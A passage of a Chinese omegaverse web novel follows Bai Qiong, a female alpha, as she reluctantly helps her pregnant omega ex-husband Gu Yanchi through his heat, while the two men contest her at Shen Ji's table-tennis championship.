虽然早就知道了这孩子的母亲除了白琼不可能再有别人了,但在确认了时间后苏芸还是忍不住倒吸了一口冷气。 “这是特殊个例还是最终进化的趋势?” 医生斟酌道:“据目前,至少在鹿港有且仅有顾先生这一例。有可能是个例,但我认为这是进化的必然结果。顾先生早在五年前就步入了进化,和大多数现在才开始进化从而分化性别的人来说,他的进化程度远超于后者,所以他的身体更加成熟,提前达到了孕育的条件。” “但只有他一个人达成孕育的条件也不行,就像播种,有了土壤还需要种子,为他标记的alpha很显然也是第一批进化者,不然两人的信息素契合度不可能这么匹配。” 医生自然知道为他标记的alpha就是白琼,只是顾厌迟这段时间对白琼的事情格外敏感,哪怕只是提到名字也有很大的反应,陷入理智和本能拉扯的极端痛苦中。 他不敢刺激他,所以一般用alpha来指代白琼,在面对苏芸的时候也习惯性这样说了。 苏芸也没在意他前后对白琼称呼上的变化,她捏了捏鼻梁,聪敏如她怎么可能听不出医生的言外之意。 契合度高意味着被取代的可能性低,这也是为什么顾厌迟目前除了白琼很难再找别的alpha来进行安抚。 之前在得知白琼是第一批进化者的时候,苏芸还挺惊讶和欣慰的,以前她对自己这个儿媳妇讨厌算不上,但多少是有些不爽在的。 倒不是觉得她配不上自己儿子,而是觉得她的性格太过软弱温吞,既然都已经结婚了还生怕顾厌迟不高兴什么都不敢做,就这么眼巴巴望着肥肉一口不吃地清汤寡水,任劳任怨了五年,她瞧着实在窝囊。 可这又是他们两口子的事情,一个愿打一个愿挨,她也不好说什么,因此每次家宴见到白琼都属于眼不见心不烦,客套几句就赶紧走开,不然她怕自己维持不了自己端庄优雅的形象。 但自从白琼和自己一样分化成了alpha,还是一个极其强大的alpha,人都是慕强的,且她们如今才是一个阵营,苏芸对白琼反而没那么苛刻了。 她想着白琼反正都是alpha了,以后只有自家儿子求着白琼帮他标记的份,她主不主动似乎也没什么关系了。 结果苏芸没想到的是在顾厌迟热潮期一结束后没多久,她就收到了两人离婚的消息。 “我没办法接受被一个女人压在身下,更不能接受自己被那所谓的信息素影响像狗一样不知廉耻的对她摇尾求欢。” “所以我选择了离婚,这有问题吗?” 苏芸听到顾厌迟这番话的时候脸色很难看,她觉得对方不单单在说白琼,也在说她。 她冷笑道:“没问题,当然没问题,这是你们两个人的事情,你们都同意了我能有什么意见?不过我丑话说在前面,你对我的做法或是身为alpha这件事有什么不满随你,但在你爸面前最好闭上嘴,他和你不一样,他爱我,愿意被我标记被我占有,可他到底也是一个父亲,希望你明白我的意思。” 苏芸撂下这番话后便离开了,之后母子俩陷入了很长时间的冷战,以至于今天在突然接到顾厌迟主治医生的电话的时候她感到颇为意外。 “你是想让我劝劝他?” 医生微微颔首,“他这样下去身心都会垮掉的。” 苏芸扯了下嘴角,露出了一个冷笑,“我要是能劝得动他他们两个也不会离婚。” 她嘴上这么说着,可到底还是不可能真的放着顾厌迟不管。 苏芸尝试让他和白琼静下来再好好谈谈,如果他是没办法接受被标记什么的事情白琼之前五年都没有拿妻子的身份为难过他,她肯定也会和以前一样尊重他。 热潮期有她在,即使什么做只将信息素萦绕在他身边他的痛苦也会大大缓解的。 至于那个孩子,那到底也是白琼的孩子,就算决定不留下她也应该告知另一个当事人她的存在。 和苏芸预想的一样,顾厌迟的情绪更糟糕了,甚至连带着“告密”的医生也一并迁怒了。 看着被骂的狗血淋头刚从里面病房出来的医生,苏芸拍了拍他的肩膀,安慰道:“别和他一般见识,孕期情绪不稳定很正常,我当时怀他的时候在他父亲面前脾气更大,差点儿毁掉我精心维护多年的温婉人设。” 医生抹了把脸,“现在该怎么办?他死活也不愿意找他前妻帮忙,我们上哪儿给他找个和他同样属于第一批进化者,信息素契合度又高的alpha来?” “找到了有什么用?他排斥的又不仅仅是白琼?他连他自己都排斥。” 顾厌迟与其说是不能接受alpha,不如说是无法接受分化成omega需要alpha的自己。 当天苏芸没有离开,在医院待到了晚上,听到了医生所说的一样每夜从病房里面传来的男人撕心裂肺的哭喊,像是个精神分裂似的,一会儿疯狂对白琼表达爱意,一会儿又说什么不要白琼,不要她碰让她滚。 苏芸在吸烟区把最后一根烟抽完,连带着烟雾和浊气一并在胸口吐出,然后开车找上了白琼。 上次白琼见到苏芸还是在顾厌迟热潮期的时候,两人已经有一段时间没见了,如今白琼和顾厌迟已经离婚了,一时之间她不知道该怎么称呼对方。 “直接叫我名字就成。” 苏芸看出了她的纠结,先一步道。 白琼到底没这么唤,对方不是她婆婆了到底还是自己的长辈,于是她道:“苏女士,请问你这么晚了来找我有什么事吗?” “你猜。” 她丢出了这么两个字让白琼一噎。 苏芸见她吃瘪的样子笑了,“少给我揣着明白装糊涂,作为顾厌迟的母亲,我来找你除了因为他还能因为谁?” 白琼道:“我们已经离婚了。” “我知道,他之前就给我说了。” 苏芸靠着门,抱着手臂道:“我要不要恭喜你终于幡然醒悟,脱离苦海了?” 白琼盯着她看了一会儿,道:“你应该不是专程来恭喜我和你儿子离婚的吧。” 苏芸“啧”了一声,“你这人真没幽默感,我还想在说正事之前稍微缓和下气氛呢。好吧,我开门见山说了。” “厌迟怀孕了。孩子是你的。” 前一秒还因为苏芸一直磨磨蹭蹭扯些有的没的不进入正题的白琼一下子懵了。 她拿出手机看了下日期,又盯着女人一脸认真没有丝毫玩笑的神情,沉默了许久。 “……今天不是愚人节。” “嗯,所以我说的是真的。” 苏芸拍了拍手,面无表情说道:“这才是我来恭喜你的真正原因,恭喜你你要当妈妈了,还是无痛当妈,怎么样,你开心吗?” 还不等白琼回应,她又道:“好消息听完了,我这里还有一个坏消息,你要听吗?” “……” 这竟然算好消息吗?还是说还有比这更糟糕的事情吗? 白琼嗫嚅着嘴唇,想问又不敢问,怕顾厌迟不仅怀孕了还是双胞胎。 苏芸道:“他接受不了准备把孩子打了,你怎么看?要去劝劝他再考虑下吗,还是尊重他的决定?” 白琼已经不知道该怎么反应了,这个坏消息没那么坏也没那么好,至少孩子的数量只是减少而不是增加。 而且她发现在这种时候,比起顾厌迟怀孕了,孩子要不要留这样严肃的话题,她脑子里更好奇的是顾厌迟怀孕的时候是什么样子的。 男人怀孕,很难不感到好奇吧? “他现在的情况很不好,热潮期撞上了孕期,信息素比以前更紊乱了,这样下去无论是他还是都有危险……你要不要去看看他?” “好。” “我知道你们刚离婚,你肯定不想……嗯?” 原以为自己会很费口舌才能说服对方,甚至也不一定能成功,结果白琼想也没想就答应了—— 作者有话说:苏芸:这孩子果然还在意厌迟。 白琼:好奇。【】 【完结篇】 第55章 在得到白琼毫不犹豫的肯定回答后, 苏芸用一种复杂的眼神深深看了她一眼,然后微不可察地叹了口气。 白琼对她擅自脑补了什么毫无所谓。 她只是表面上看着已经恢复平常了,实则满脑子都是男人怀孕这可能吗, 还是说分化成omega的人都有了生育能力? 顾厌迟当时在知道自己怀孕了, 还是怀的她的孩子的时候是什么反应?估计感到很羞辱, 恨不得一头撞死吧。 那他一会儿要是在看到自己呢, 会不会直接刺激得昏过去? 白琼承认这才是自己答应苏芸的目的。 她抱着这样恶劣的想法跟着苏芸来到了医院的时候, 还没进病房,就感知到了走廊上男人浓烈信息素张牙舞爪地萦绕在了整层楼。 以及从里面传来的男人痛苦的哭喊声。 白琼抿了抿嘴唇, 停下了脚步。 苏芸以为她是心下不忍,不敢去看顾厌迟此时狼狈脆弱的样子。 她也后知后觉意识到自家儿子那要强的性子, 先前关心则乱,只想着去把白琼叫过来安抚下他, 完全忘了这一茬。 顾厌迟之所以宁愿自己受着也不接受她找白琼过来,不正是不愿意被人看到自己这副样子吗? 尤其是在白琼这个前妻面前。 苏芸想到这里也停下了脚步, 对白琼道:“你要是担心他看到你会受刺激,你可以不见他,只需要在外面释放信息素安抚他。” 白琼很轻地“嗯”了一声, 苏芸没太仔细留意她的神情, 又叮嘱了几句便离开了——毕竟顾厌迟是她儿子,对方的信息素再强烈也不会对她造成什么影响, 白琼就不一定了。 等到走廊上空无一人彻底安静下来后,白琼才慢慢抬起眼, 看向不远处已经不知何时没有再传出声音的病房。 不忍心?不存在的。 白琼原本就是抱着看笑话的心情来的,只是她没想到的是对方的情况会这么糟糕。 如果说之前热潮期顾厌迟的信息素像胡乱躁动的风,横冲直撞的就是不愿意回到他的体内,此时的信息素则像翻涌的巨浪, 一层推着一层越来越高。 最后与天相接,无边无际,看不到尽头。 而且很明显的,他已经觉察到她的到来。 他的信息素痛苦又渴望着想要靠近她,却被他一次一次硬生生拽了回去。 白琼突然觉得很没有意思,看到了他那副挣扎可悲的样子又怎么样,他或许很狼狈可怜,可即使这样也不愿意向她低头,才让她更窝火吧。 她还真是没气找气受。 白琼眉眼冷沉,很想要掉头就走,但偏偏她的到来刺激到了对方,顾厌迟没有发现自己的到来也就算了,这时候离开只会适得其反。 她沉默了许久,对方好几次没忍住又短促地叫出了声。 直到苦艾信息素终于有一缕突破了拦阻,急切地勾缠住了她。 白琼这才慢慢释放信息素安抚着对方躁动慌乱的情绪,几乎是在她释放信息素的瞬间,四周一下子静了下来,连苦艾的气息也停止了流动。 竟然这么快就冷静下来了? 这么想着,不想为对方浪费一丝一毫信息素和时间,当机立断的就想要转身离开,可前一秒还似乎稳定下来的信息素骤然扑了过来,压制着不让她动弹。 对,不是勾缠,是压制。 他在试图用类似于alpha的方式压制她,强势又霸道。 白琼被顾厌迟这番举动给气笑了,这是什么意思?挽留?还是威胁? 不让她走吧,她今天偏要离开。 他以为他是谁?还是那个她死缠烂打也不愿意放手的的顾厌迟? 他们早就结束了,她也早就不再执迷不悟了。 他凭什么觉得自己还会像以前那样在意他,满足他的一切需求,甚至任由他对自己予取予夺? 白琼的信息素反压制住了顾厌迟,一反之前对他小心翼翼地安抚不同,这几乎是白琼头一次这样毫不留情的对顾厌迟展露出独属于alpha的压迫感。 苦艾信息素努力挣扎了好一会儿,也没能从白琼的压制中重获自由。 然后白琼将信息素敷衍又强势的将他的信息素全部冲刷了一遍,也不管他抗拒与否。 做完这一切后她确认对方的热潮期短时间应该可以稳定下来后,毫不留恋地收回了信息素。 这一次苦艾信息素并没有像先前那样猝不及防扑过来,可信息素没有过来,一直紧闭的病房猛地从里面被推开了。 那个熟悉的身影就这样闯进了白琼的视野。 苦艾的气息在没了门扉的阻隔后更加清晰,男人的模样比之前依赖期的时候还要狼狈。 他的眼睛满是红血丝,衣服上都是褶皱,被汗水打湿的头发湿漉漉地贴在脸上,虚弱得甚至要手撑着门才能站稳。 白琼没想到顾厌迟会出来,按理说他这个时候最不想见到的人就是她才对。 而她自己也并没有因为如愿看到他这样狼狈不堪的样子有多高兴,她以为她会高兴。 两人就这么面对面站着,隔着不近不远的距离。 空气里只有彼此的信息素若即若离在互相试探着,男人粗重的气息宛若在耳畔,一下一下,让白琼很难忽略。 她们谁都没说话,只是对视着,像是在较劲儿,谁也没有先移开目光。 最终还是顾厌迟先一步开口打破了这压抑诡异的气氛,声音喑哑。 “你……知道了?” 白琼的睫羽颤了下,视线往男人的腹部停留了一秒,这个动作不言而喻。 顾厌迟很想问她是因为这个孩子才过来的,还是担心因为怀孕而受到刺激的自己。 可哪个问题都很矫情,显得他有多在意她似的。 “……昨天晚宴,我看到你了。” 顾厌迟的话题跳转得很快,白琼有些没跟上。 顾厌迟也不知道自己好端端提起这个做什么,他直勾勾盯着对方,不错过她脸上一丝一毫的表情。 让他失望的是白琼的神情没有一点儿变化,只淡淡道:“是吗?那你怎么不上来跟我打声招呼?” 顾厌迟死死盯着她,咬牙切齿道:“我打什么招呼?问你最近和你的新欢过得怎么样吗?” 白琼不仅没生气,还笑了。 “你笑什么?” “没什么,就是你这副阴阳怪气的样子我还以为你喜欢我在吃醋呢。” 顾厌迟一噎,不知道是被气得还是被说中了心虚,他一下子不说话了。 “苏芸女士说你现在需要alpha标记,你需要吗?” 白琼走近了几步,在一个微妙的要逾越安全距离的时候停下。 “或者说你需要我标记吗?” 顾厌迟握着门把的手收紧了一分,想要拒绝,可一想到刚才自己的信息素早就暴露了一切,他又没办法说出不需要那种鬼话。 他把问题抛给了白琼。 “所以你是为了帮我标记才来的?” 白琼并没有被对方狡猾的回答牵着鼻子走,琼花信息素从他的腺体擦过,他闷哼了一声,脸上肉眼可见泛起潮红。 在顾厌迟被女人刺激得动情的下一秒,她冷不丁问道:“我听苏芸女士说你打算打掉这个孩子,你就这么讨厌我讨厌成为omega吗?” 顾厌迟知道苏芸把自己目前的情况告诉白琼了,却不知道她什么都给她说了。 他张了张嘴,那个简单的“是”字却怎么也没办法说出口。 白琼有些意外于从他脸上看出了犹豫,微挑了挑眉。 这是受到孕激素影响了吗? 在白琼这么想着的时候,顾厌迟突然越过了彼此的安全距离,一片带着苦艾气息的阴影覆了过来,让白琼下意识想要后退。 顾厌迟一把扣住了她的手腕。 “你呢,你想要这个孩子吗?” 白琼没想到他会把这个问题抛给她,冷笑了声,“说的好像我说要你就会把她生下来似的,你连自己身为omega这件事都没办法接受,更别提这个孩子了。” 的确,顾厌迟没办法接受。 如果说被白琼标记于他来说是羞辱,那么生下这个孩子对他来说意味着自我的否定。 他会失去骄傲,失去尊严,失去自我,失去坚持的一切,彻彻底底沦为了被alpha标记和占有的所有物。 白琼将他的手甩开,面上没有一点愠色,很平静,因为她太了解顾厌迟了,他傲慢之下的脆弱,他高自尊下面的敏感。 他的骄傲不容许他这样做。 但即使知道他不会那么做,白琼还是回答了他的问题。 “生不生孩子在你,你打掉她我尊重你的决定,你不打掉她想要生下来我也会负起责任和你共同抚养。即使我们不再是夫妻,但孩子不是你一个人的,她也是我的。这是我们的孩子,无论你需不需要,我也会做到我应做的一切。” 顾厌迟心下一动,喃喃道:“我们的……孩子?” 白琼不觉得自己说错了什么,但自己说了这么多对方只注意到了这一句。 她抿了抿嘴唇,将心底那点儿异样甩出去,声音更低了几分。 “你好好考虑吧,等你的热潮期过了再给我答复,别被激素影响到脑子一上头胡乱做决定,又在之后出尔反尔。” 白琼感受到他的信息素在他不受控制的情况下又覆了过来,可男人没有开口让她帮忙标记,她也不会主动上赶着。 “我要说的已经说完了,你回去好好休息吧。” “等一下。” 白琼脚步一顿,以为他是受不了终于要挽留她了。 顾厌迟嗫嚅着嘴唇,欲言又止了好几次,才顺利开口。 “其实我和沈霁不是你想的……” “你非要在这个时候提他吗?” 白琼打断了他的话,从刚才到现在还算温和的神情此刻带上了愠怒。 “你放心,今天的事情我不会和他提起一个字。” 顾厌迟脸刷的一下白了,果然,和沈霁说的一样,她不会相信。 对于他喜欢沈霁这件事她深信不疑。 意识到这一点的顾厌迟也没有打算继续解释了,他顺势问了另一个问题。 “所以你和他在一起是为了报复我对吗?” “是也不是。” 白琼道:“一开始我是很不甘心,不甘心自己竟然输给了一个男人,也的确存了利用他报复你的想法,可和他接触过我慢慢喜欢上他了,他也很喜欢我的信息素,我们就自然而然交往了。” “所以你不要多想,我不会对他做什么,我喜欢他还来不及呢。” “你说谎。” 顾厌迟盯着白琼在谈起沈霁没有什么情绪波动的面容,一字一顿道:“你不喜欢他。” “白琼,别的你可能骗得了我,唯独这件事你骗不了我。因为……我知道你喜欢一个人时候的样子。” 白琼并没有谎言被戳破了的恼羞成怒,她的反应和先前提到沈霁时候一样冷淡。 “是吗?既然你这么会看,看得出我现在还喜欢那个人吗?” 顾厌迟对上女人落在他身上凉薄的眼神,以前灼热的温度已经褪去,只剩下如枯井一样的无波无澜。 他的喉咙似被一柄匕首贯穿,说不出话,只痛得在无声流血。 …… 白琼还没有恶劣到欺负一个处于热潮期的怀了孕的omega,更何况他肚子里的孩子还是她的。 因此她想着哪怕对方再抗拒她,如果他的情况实在糟糕她也还是要帮他标记的。 可让白琼感到意外的是,在那次摊开说完之后,对方反而“老实”了。 他不会再硬抗着也不低头,他让她把他从黑名单里放出来,开始主动找她。 白琼想他大概是想通了,知道现实无法改变,不再拿自己的身体置气了。 产生排斥的反而成了她。 “你不想标记我的话你可以拒绝,我不会勉强你。” 顾厌迟对她这么说道,那张憔悴的脸上流露出痛苦的苍白。 白琼没办法说谎,在信息素面前任何人的情绪都无所遁形,包括她自己。 她只是沉默着低下头,咬住了那块软肉,机械麻木的将信息素渡了进去。 在要离开的时候顾厌迟突然抱住了她,用了很大的力气,像是要把她揉进身体里。 之前顾厌迟曾经在依赖期的时候也这样抱过她,依恋的,渴求的,但没有一次抱得这么紧,这么的……不安。 按理说刚标记完的omega是信息素和情绪最稳定的,欲望得以满足说状态。 顾厌迟却恰恰相反。 白琼皱了皱眉,现在就这样了,之后随着依赖期真的到了那怎么办? 她可做不到像之前那样时时刻刻迁就他,满足他。 帮他标记已经是她的极限了。 然而意外的是,白琼预料之中让她头疼不已的依赖期并没有到来,顾厌迟除了一两次实在忍不住让她过来用信息素安抚他一下后,没有提出任何过分的要求。 连二次标记都没有。 省心得让白琼觉得不可思议。 今天是顾厌迟依赖期最后一天,这意味着明天之后她就不用过来了。 顾厌迟坐在病床上,脸上还带着被信息素安抚后未褪去的绯红。 他从旁边的果篮里拿了一颗蓝莓送到了白琼的嘴边。 白琼一顿,抬眸看向他, “怎么,这是我这些天卖力给我的奖励?” 顾厌迟勾了下唇角,是一个很淡的笑。 “我还没有吝啬到这种地步。” 见白琼没有要吃的打算,他也不觉得尴尬,将蓝莓放了回去。 顾厌迟又拿了一个苹果开始削。 白琼皱眉,“我也不吃苹果。” “嗯,我知道,我是给自己削的。” 白琼抬起手腕看了下腕表,这个动作从刚才到现在她已经做了好几次了。 “你要是有事可以先走,不用顾忌我。” 白琼也不是真的有事,只是明天好像就是沈霁比赛的日子,这段时间她在顾厌迟这边的事情她没有告诉沈霁,但不代表沈霁不知道。 他身上有她的标记,不光是对她的信息素很敏感,对别的omega的信息素也是。 他应该是猜到了,只是他什么也没问。 白琼担心他会因为她而影响明天发挥,所以想着在比赛之前去看看他的状态有没有异常。 她也没客气,见顾厌迟信息素还算稳定,拎着包就要走。 “对了明天……” “什么?” 后面的声音太小,白琼没有听清。 顾厌迟盯着白琼的眼睛,她突然发现那双向来凌厉的眉眼变得极为平和,如同锋芒毕露的剑褪去了锋利,剑依旧是剑,却没有那样生人勿近的冷冽。 顾厌迟深深注视着白琼,似要把她烙印在灵魂深处。 许久,他收回目光低头继续削着手中的苹果。 “……没什么。” 白琼离开医院后径直去了沈霁那里,后者对她的到来表示很惊喜,一开门就掐着她的腰吻了很久。 氧气被霸道地夺走,蝴蝶兰的馥郁香气把她浑身上下都覆盖了一遍。 白琼知道,他大概是想要遮掩住她身上那点儿属于顾厌迟的气息。 她从他的信息素中感到了不安和害怕。 白琼知道他在不安害怕什么,无非是觉察到这段时间自己和原本离婚的前夫越走越近,怕她会突然跟对方复合抛下他。 她任由他亲吻,将信息素不停往她这里倾覆。 一般照这样发展下去,沈霁会先忍不住央求她给他一个标记。 但在理智快要濒临失控之前,他强行把信息素压了回去,额头抵着她的额头轻喘着气,被吻得发红的嘴唇艳丽而潋滟。 白琼抬眸看他,“为什么不继续?你应该知道我今天不会拒绝你。” 沈霁轻轻摇了摇头,灼热的气息喷洒在白琼的面颊。 “作为奖励的话还太早了,这份奖励我想要等到明天比赛结束,我站在最高的领奖台之后再问你讨要。” 白琼道:“看来你对明天的比赛很有信心。” “所以你明天会来吧。你一定要来,你答应我的,你不来的话我这奖励找谁要?” 所以他这段时间在不安的是这件事吗? 白琼眼眸闪了闪,避开了那双亮得过分的眼睛,“我会来的,也会……奖励你的。” 沈霁似乎没注意到女人眼神的躲闪,凑过去吻了吻她的眼睛。 “白琼,你真好。” 他啄吻着她,把她脸上每一寸都吻遍,最后贴在她唇边,语气粘糊暧昧。 “你会一直对我这么好吗?” 这一次白琼只是回吻了他,却没有再给予肯定的回答。 …… 沈霁的比赛在下午七点开始,比赛的门票是他给的,位置在视野最好的第三排中间。 白琼看过沈霁的比赛,对他之前即使濒临热潮期也还是从强敌手中取得了胜利印象深刻,她知道他的实力,他既然能那么笃定的说自己就站在最高的领奖台上,说明他对今天的比赛也是十分有把握的。 只是白琼想着对手再怎么也是和沈霁一样过五关斩六将挺到最终决赛的,他实力再强至少也会花上一些时间才能拿下比赛。 结果不到一小时比赛就结束了。 这不仅让白琼意外,身边来去看比赛的观众也感到十分惊讶。 很快的白琼意识到了为什么沈霁能这么快拿下比赛,一来他的实力的确在那,二来是因为等级的差距。 对面那个选手也是个omega,和很早之前就进入分化阶段的沈霁相比,在技术本就不如沈霁的情况下身体素质也拖了后腿,能这么快拿下比赛就很正常了。 在最后一个球重重砸下的时候,比赛宣告结束,全场响起了雷鸣般的掌声。 长发青年站在赛场,越过无数观众径直往白琼所在的位置看去。 他弯着眉眼,在镜头前笑得前所未有的灿烂,闪光灯聚焦在这胜利的笑容上,屏幕特写在这一秒。 在此刻,沈霁是所有人眼中的焦点,而他只看到了自己。 虽然即使白琼不来沈霁也会好好比赛,赢得胜利,但在对方反复确定她会来的情况下,给了白琼一种这一场比赛是他专门为她而打的错觉。 白琼注视着青年在鲜花和掌声的簇拥下站在了最高的领奖台上,享受着独属于自己的荣誉。 在领奖台上,本就耀眼夺目的沈霁变得更加遥不可及。 而当白琼在比赛结束后去她的休息室找他的时候,前一秒还万众瞩目到让人觉得遥不可及的男人,此刻却像没骨头似的靠在了她的肩膀。 “好累,让我靠靠充个电。” 沈霁说着还蹭了蹭她的颈窝,这副撒娇粘人的模样实在让人很难和刚才在赛场上大杀四方的沈霁联系在一起。 白琼见他一直靠着自己也没别的动作,不禁想要逗逗他。 “所以这就是你要的奖励吗?” 沈霁猛地抬头,看见女人那似笑非笑的样子有些羞恼地瞪了她一眼。 “你知道我这场比赛能拿多少奖金吗?五十万,整整五十万。你觉得你只给我这么一点奖励合适吗?” 他捧着白琼的脸,道:“白小姐麻烦你搞清楚一点,我可是冠军。” 白琼眨了眨眼:“那冠军想要什么奖励?” 对于白琼的明知故问,回应她的是沈霁比昨天更为急切的亲吻。 蝴蝶兰信息素也更加肆无忌惮地勾缠着索求,带着毫不掩饰的欲望和压抑着不敢太过张扬的爱意,像是要把她拆吃入腹一般。 如果只是这样还好,偏偏白琼还感觉到了对方的委屈和恼怒。 这段时间沈霁一直努力隐藏着不让自己表露出一丝一毫的不满和嫉妒,因为他没有资格,也因为白琼和他在一起也只是出于对顾厌迟的在意。 可是这根紧绷的名为理智的弦在今天彻底断了。 他撬开白琼的唇齿,和信息素一样渴求地勾缠着她的舌尖。 “你知道的对不对?你是故意的,对不对?” 沈霁红着眼眶问她,又在她要回答之前又狠狠吻了下去,不给她一点喘息的机会。 空气里蝴蝶兰的气息之下是女人清甜的信息素,可仔细感知的话却能感知到一丝浅淡的苦涩。 如果只是单单从白琼身上传来的也就罢了,这些天白琼和谁在一起他心知肚明。 偏偏并不是。 那信息素是从休息室的外面溢出来的,很细微,是对方竭力压制的结果。 虽然一开始沈霁就做好了被白琼利用的准备,宴会上也好,别的随便什么场合也罢,只要她需要他即使再不愿意也会配合她的。 因为这是他于她唯一的价值。 可是什么时候都好,为什么偏偏是这一次? “你明明答应我的,这是我的奖励的……你就是这么奖励我的?” 沈霁咬着牙,几乎是用气音贴着白琼的耳朵在说话。 白琼抬手抹掉他眼角的湿润,面无表情道:“那这份奖励你还要吗?” 沈霁那点儿对方或许并不知情的侥幸在此刻彻底消失了,他红着眼眶,低头狠狠咬破了她的唇角。 铁锈的气息蔓延在彼此的唇舌,男人的声音呜咽破碎。 “白琼,你混蛋……你果然是个不折不扣的混蛋。” 在沈霁还想要下口发泄自己的怒火之前,白琼抓住了他的头发,在对方感到吃痛的时候松开了手,掐着他的脸吻了下去。 这是白琼第一次主动吻他,沈霁瞳孔一缩,随即意识到这是白琼的安抚和利用他的歉意。 而无论是安抚还是歉意,目的都是利用。 沈霁眼睫颤了下,然后闭上了眼睛。 一滴眼泪顺着脸颊滑落,沾染在了白琼的脸上,湿热滚烫。 白琼的确知道顾厌迟今天会来,但她从没有想过要在沈霁这样重要的场合下做这种事情,她感到抱歉的是她没有制止,而是对此睁一只眼闭一只眼。 顾厌迟这段时间表现得太正常了,在标记和依赖期的双重作用下,太过正常反而不正常。 物极必反,越是压抑着克制着的情况下,越会失控。 只是顾厌迟比她想象中的还要沉得住气,他身上还有自己的标记,他竟然能就这么安静地站在一墙之隔的门外听着他们干这种事。 白琼早就和顾厌迟没有关系了,所以对此没有任何的心虚,沈霁更是恨不得刺激得顾厌迟赶紧滚蛋,所以动静怎么大怎么来。 而顾厌迟只是在外面静默地,冷沉着眉眼站着,除了时不时情绪失控溢出的信息素外,他毫无反应。 在感受到白琼的信息素没有再回应沈霁后,这尊似被定住的雕塑终于动了。 他不是暴跳如雷的一脚将门踹开,而是敲门。 两重一轻,不急不缓,礼貌得让白琼和沈霁都有些沉默。 要是在办事途中顾厌迟敲门的话他无论如何也不会搭理对方,偏偏对方那么“体贴绅士”地等着她们结束。 沈霁有一种一拳打在棉花上的恼怒感。 他深吸了一口气,调整好表情打开了门。 在沈霁已经做好了和顾厌迟大打出手的准备的时候,打开门迎接自己的不是对方的拳头,而是一捧浅紫色的花束。 顾厌迟微笑着将手中的蝴蝶兰递给沈霁。 “比赛很精彩,恭喜你取得胜利。” 沈霁懵了,完全没想到对方等在外面是为了当面恭喜他的。 不知道他是真心的还是存了故意恶心他的想法,可伸手不打笑脸人,他再不喜欢顾厌迟 也不好拒绝。 “……谢谢。” 沈霁接过这束蝴蝶兰,这是他最喜欢的花,偏偏是他最讨厌的人送的,实在讽刺。 在他神情复杂看着手中的鲜花的时候,顾厌迟的声音响起。 “我也有个好消息要告诉你。” 白琼看到男人将手轻放在腹部,眼皮一跳。 果不其然下一秒便听到他说道:“我怀了白琼的孩子,作为朋友,你是不是也该恭喜恭喜我?” 沈霁的脸一下子白了,手中的花没拿稳掉落在了地上。 他猛地回头,用一种近乎恳求的慌乱眼神看向白琼。 白琼知道他在恳求自己什么,恳求自己告诉他顾厌迟在说谎,这一切都是假的。 白琼的目光落在两人身上,一个面带微笑,一个神情慌恐。 她没忍住笑了。 世上怎么会有这么可笑的事情? 之前宴会上沈霁和顾厌迟的对话她都听见了,原来顾厌迟只是为了离婚才承认自己喜欢沈霁,而沈霁则为了不失去利用价值选择了将计就计。 他们每一个人都为了自己选择了欺骗她。 而现在呢,他们在都以为自己毫无优势的情况下,做出了自己自以为最大的牺牲。 那么厌恶和排斥自己是omega的人竟然愿意承认他怀了她的孩子,明明那么嫉妒破防到恨不得让对方连同那个孩子一起消失在这个世界上的人却努力维持着体面,强颜欢笑地恭喜。 而能让这么骄傲的两个人做到这种程度,只不过是因为喜欢。 他们喜欢她,所以甘愿放下尊严和体面。 空气里的信息素无声交锋着,明明是当事人的白琼无动于衷。 白琼看着他们,有那么瞬间像看到了之前还没有完全分化被信息素影响,疯狂迷恋着顾厌迟的自己。 现在她走出来了,他们的痛苦刚刚开始。 因为爱对于两情相悦的人是幸福,对于单相思的人来说是酸楚。 而对于爱而不得的人来说,这才是报复。【】